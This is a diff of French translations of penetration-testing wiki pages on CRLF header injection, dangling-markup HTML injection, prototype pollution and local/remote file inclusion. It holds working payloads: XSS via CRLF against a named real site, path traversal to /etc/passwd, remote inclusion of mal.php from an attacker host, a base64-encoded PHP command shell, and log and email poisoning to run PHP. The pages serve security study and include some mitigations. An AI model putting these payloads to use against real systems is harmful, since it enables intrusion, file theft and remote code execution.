Vous pouvez envoyer la charge utile **à l'intérieur du chemin d'URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)):
|
||||
```
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
Vérifiez plus d'exemples dans :
|
||||
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### Injection d'en-tête HTTP
|
||||
|
||||
L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), pouvant conduire à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.
|
||||
L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), menant potentiellement à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies.
|
||||
|
||||
#### Exploitation de CORS via l'injection d'en-tête HTTP
|
||||
|
||||
Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet aux scripts provenant d'origines malveillantes d'interagir avec des ressources d'une autre origine, accédant potentiellement à des données protégées.
|
||||
Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet aux scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées.
|
||||
|
||||
#### SSRF et injection de requête HTTP via CRLF
|
||||
|
||||
L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter complètement une nouvelle requête HTTP. Voici un exemple PHP démontrant cette exploitation :
|
||||
L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter entièrement une nouvelle requête HTTP. Voici un exemple PHP démontrant cette exploitation :
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
@ -131,7 +131,7 @@ Après cela, une deuxième requête peut être spécifiée. Ce scénario impliqu
|
||||
|
||||
### Injection Memcache
|
||||
|
||||
Memcache est un **store clé-valeur qui utilise un protocole en texte clair**. Plus d'infos dans :
|
||||
Memcache est un **stockage clé-valeur qui utilise un protocole en texte clair**. Plus d'infos dans :
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/11211-memcache/
|
||||
@ -153,9 +153,9 @@ De plus, les chercheurs ont également découvert qu'ils pouvaient désynchronis
|
||||
|
||||
Pour atténuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d'injections d'en-têtes HTTP dans les applications web, les stratégies suivantes sont recommandées :
|
||||
|
||||
1. **Éviter l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse :** L'approche la plus sûre est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse.
|
||||
2. **Encoder les Caractères Spéciaux :** Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
|
||||
3. **Mettre à Jour le Langage de Programmation :** Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
|
||||
1. **Évitez l'Entrée Directe de l'Utilisateur dans les En-têtes de Réponse :** L'approche la plus sûre est de s'abstenir d'incorporer directement les entrées fournies par l'utilisateur dans les en-têtes de réponse.
|
||||
2. **Encodez les Caractères Spéciaux :** Si éviter l'entrée directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dédiée à l'encodage des caractères spéciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empêche la possibilité d'injection CRLF.
|
||||
3. **Mettez à Jour le Langage de Programmation :** Mettez régulièrement à jour le langage de programmation utilisé dans vos applications web vers la dernière version. Optez pour une version qui interdit intrinsèquement l'injection de caractères CR et LF dans les fonctions chargées de définir les en-têtes HTTP.
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
@ -197,6 +197,4 @@ Pour atténuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Résumé
|
||||
|
||||
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS**](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
|
||||
Cette technique peut être utilisée pour extraire des informations d'un utilisateur lorsqu'une **injection HTML est trouvée**. Cela est très utile si vous **ne trouvez aucun moyen d'exploiter un** [**XSS** ](../xss-cross-site-scripting/) mais que vous pouvez **injecter des balises HTML**.\
|
||||
C'est également utile si un **secret est enregistré en texte clair** dans le HTML et que vous souhaitez **l'exfiltrer** du client, ou si vous voulez induire en erreur l'exécution de certains scripts.
|
||||
|
||||
Plusieurs techniques commentées ici peuvent être utilisées pour contourner certaines [**Content Security Policy**](../content-security-policy-csp-bypass/) en exfiltrant des informations de manière inattendue (balises html, CSS, balises http-meta, formulaires, base...).
|
||||
@ -65,9 +65,9 @@ En utilisant la technique mentionnée ci-dessus pour voler des formulaires (inje
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "_**Vol de secrets en texte clair**_" avec "_**Vol de forms2**_".
|
||||
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange le "_**Vol de secrets en texte clair**_" avec le "_**Vol de forms2**_".
|
||||
|
||||
Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise fermante `</option>` soit trouvée seront envoyées :
|
||||
Vous pouvez faire la même chose en injectant un formulaire et une balise `<option>`. Toutes les données jusqu'à ce qu'une balise `</option>` fermée soit trouvée seront envoyées :
|
||||
```html
|
||||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||||
```
|
||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
||||
```
|
||||
Cela peut être atténué avec quelque chose comme : `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Un iframe peut également être abusé pour **fuiter des informations sensibles** d'une autre page **en utilisant l'attribut name de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait que **les informations sensibles apparaissent à l'intérieur de l'attribut name de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le fuiter.
|
||||
Un iframe peut également être abusé pour divulguer des informations sensibles d'une autre page **en utilisant l'attribut name de l'iframe**. Cela est dû au fait que vous pouvez créer un iframe qui s'iframe lui-même en abusant de l'injection HTML qui fait que **les informations sensibles apparaissent à l'intérieur de l'attribut name de l'iframe** et ensuite accéder à ce nom depuis l'iframe initial et le divulguer.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
@ -193,11 +193,11 @@ Au moment de l'écriture, vous devez activer le tag portal sur Chrome dans `chro
|
||||
```
|
||||
### Fuites HTML
|
||||
|
||||
Toutes les façons de fuir la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici : [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
Toutes les façons de fuir la connectivité en HTML ne seront pas utiles pour Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici : [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
C'est un **mélange** entre **dangling markup et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous allons attaquer. De l'autre côté, nous n'allons pas **attaquer** directement la page où nous pouvons injecter du HTML, mais **une autre page**.
|
||||
C'est un **mélange** entre **dangling markup et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous allons attaquer. D'un autre côté, nous n'allons pas **attaquer** directement la page où nous pouvons injecter du HTML, mais **une autre page**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
@ -205,7 +205,7 @@ ss-leaks.md
|
||||
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
XS-Search est orienté vers l'**exfiltration d'informations cross-origin** en abusant des **attaques par canal latéral**. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme [**CSS Injection**](../xs-search/#css-injection) ou [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Search est orienté vers l'**exfiltration d'informations cross-origin** en abusant des **attaques par canal latéral**. Par conséquent, c'est une technique différente de Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme [**CSS Injection**](../xs-search/#css-injection) ou [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
@ -213,7 +213,9 @@ XS-Search est orienté vers l'**exfiltration d'informations cross-origin** en ab
|
||||
|
||||
## Liste de Détection par Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@ console.log(Object.create(null)) // This will output an empty object.
|
||||
```
|
||||
Un objet vide est semblable à un dictionnaire vide, représenté par `{}`.
|
||||
|
||||
### Fonctions et Classes en JavaScript
|
||||
### Fonctions et classes en JavaScript
|
||||
|
||||
En JavaScript, les classes et les fonctions sont étroitement liées, les fonctions servant souvent de constructeurs pour les classes. Malgré l'absence de support natif des classes en JavaScript, les constructeurs peuvent imiter le comportement des classes.
|
||||
```javascript
|
||||
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
|
||||
```
|
||||
### Pollution des éléments de tableau
|
||||
|
||||
Notez qu'étant donné que vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par des index** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).
|
||||
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par des index** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des index qui sont d'une certaine manière utilisés mais non écrits).
|
||||
```javascript
|
||||
c = [1, 2]
|
||||
a = []
|
||||
@ -211,9 +211,9 @@ Autres charges utiles :
|
||||
client-side-prototype-pollution.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2019–11358 : Attaque de pollution de prototype via jQuery $ .extend
|
||||
### CVE-2019–11358 : Attaque par pollution de prototype via jQuery $ .extend
|
||||
|
||||
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut conduire à une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
|
||||
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut entraîner une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
@ -228,7 +228,9 @@ Cette vulnérabilité, identifiée comme CVE-2019–11358, illustre comment une
|
||||
|
||||
### Un autre tutoriel avec des CVE
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Outils pour détecter la pollution de prototype
|
||||
|
||||
@ -313,7 +315,7 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
#### Vulnérabilité Pug
|
||||
|
||||
Pug, un autre moteur de template, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Pug, un autre moteur de templates, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Exemple de pollution de prototype dans Pug :
|
||||
```python
|
||||
|
||||
@ -13,7 +13,7 @@ Fonctions **PHP vulnérables** : require, require_once, include, include_once
|
||||
|
||||
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Intéressant - fichiers LFI2RCE
|
||||
## Fichiers LFI2RCE - Intéressants - Aveugles
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Essayez également de changer `/` par `\`\
|
||||
Essayez aussi d'ajouter `../../../../../`
|
||||
@ -32,7 +34,9 @@ Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password
|
||||
|
||||
Fusion de différentes listes de mots :
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Essayez également de changer `/` par `\`\
|
||||
Essayez aussi de supprimer `C:/` et d'ajouter `../../../../../`
|
||||
@ -45,7 +49,7 @@ Vérifiez la liste LFI de linux.
|
||||
|
||||
## LFI de base et contournements
|
||||
|
||||
Tous les exemples concernent l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -57,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Octet nul (%00)**
|
||||
|
||||
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
||||
Contourner l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -65,7 +69,7 @@ Ceci est **résolu depuis PHP 5.4**
|
||||
|
||||
### **Encodage**
|
||||
|
||||
Vous pourriez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
|
||||
Vous pouvez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -86,7 +90,7 @@ Le système de fichiers d'un serveur peut être exploré de manière récursive
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Explorer les Dossiers :** Ajoutez le nom du dossier suspect (par exemple, `private`) à l'URL, puis naviguez vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
|
||||
2. **Explorer les Dossiers :** Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -137,14 +141,14 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Inclusion de Fichier à Distance
|
||||
## Inclusion de Fichiers à Distance
|
||||
|
||||
Dans php, cela est désactivé par défaut car **`allow_url_include`** est **Désactivé.** Il doit être **Activé** pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir un RCE :
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP b64 et obtenir RCE :
|
||||
Si pour une raison quelconque **`allow_url_include`** est **Activé**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -169,7 +173,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
```
|
||||
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
||||
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.
|
||||
|
||||
## Java Lister les Répertoires
|
||||
|
||||
@ -267,21 +271,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> La partie "php://filter" est insensible à la casse
|
||||
|
||||
### Utiliser les filtres php comme oracle pour lire des fichiers arbitraires
|
||||
### Utilisation des filtres php comme oracle pour lire des fichiers arbitraires
|
||||
|
||||
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans avoir le retour de la sortie du serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) en utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
|
||||
[**Dans ce post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle), une technique est proposée pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **exfiltration booléenne du fichier (caractère par caractère) utilisant des filtres php** comme oracle. Cela est dû au fait que les filtres php peuvent être utilisés pour rendre un texte suffisamment grand pour que php génère une exception.
|
||||
|
||||
Dans le post original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :
|
||||
|
||||
- Utilisez le codec **`UCS-4LE`** pour laisser le caractère de tête du texte au début et faire augmenter la taille de la chaîne de manière exponentielle.
|
||||
- Cela sera utilisé pour générer un **texte si grand lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**.
|
||||
- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
|
||||
- Le filtre **dechunk** va **supprimer tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
|
||||
- Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera que php génère une erreur.
|
||||
- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
|
||||
- En utilisant d'autres transformations comme **rot13** au début, il est possible de fuir d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
|
||||
- En utilisant d'autres transformations comme **rot13** au début, il est possible de fuir d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
|
||||
- Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de fuir les 2 premières lettres pour fuir le nombre.
|
||||
- Le problème final est de voir **comment fuir plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
|
||||
- Et afin de pouvoir obtenir **plus de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à fuir.
|
||||
- Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à fuir.
|
||||
|
||||
Dans le post, un outil pour effectuer cela automatiquement a également été divulgué : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -385,7 +389,7 @@ Vérifiez plus de [**protocoles à inclure ici**](https://www.php.net/manual/en/
|
||||
|
||||
## LFI via 'assert' de PHP
|
||||
|
||||
Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
|
||||
Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lors de l'utilisation de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
|
||||
|
||||
Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire comme suit :
|
||||
```bash
|
||||
@ -408,11 +412,11 @@ Il est important de **coder ces payloads en URL**.
|
||||
|
||||
Dans [**ce post incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment un parcours de chemin aveugle peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
|
||||
En résumé, la technique utilise le **"UCS-4LE" encoding** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
En résumé, la technique utilise l'**encodage "UCS-4LE"** pour rendre le contenu d'un fichier si **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
|
||||
Ensuite, afin de divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
||||
|
||||
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (uniquement cible en lecture seule avec cela)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (uniquement pour la lecture avec cela)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Pour les détails techniques, consultez le post mentionné !
|
||||
|
||||
@ -444,9 +448,9 @@ Autres chemins de journaux possibles :
|
||||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
Liste de mots pour le fuzzing : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Par Email
|
||||
|
||||
**Envoyez un mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure dans le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
@ -457,7 +461,7 @@ Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
|
||||
Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée dans le fichier /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
@ -483,7 +487,7 @@ Vérifiez si le site utilise la session PHP (PHPSESSID)
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
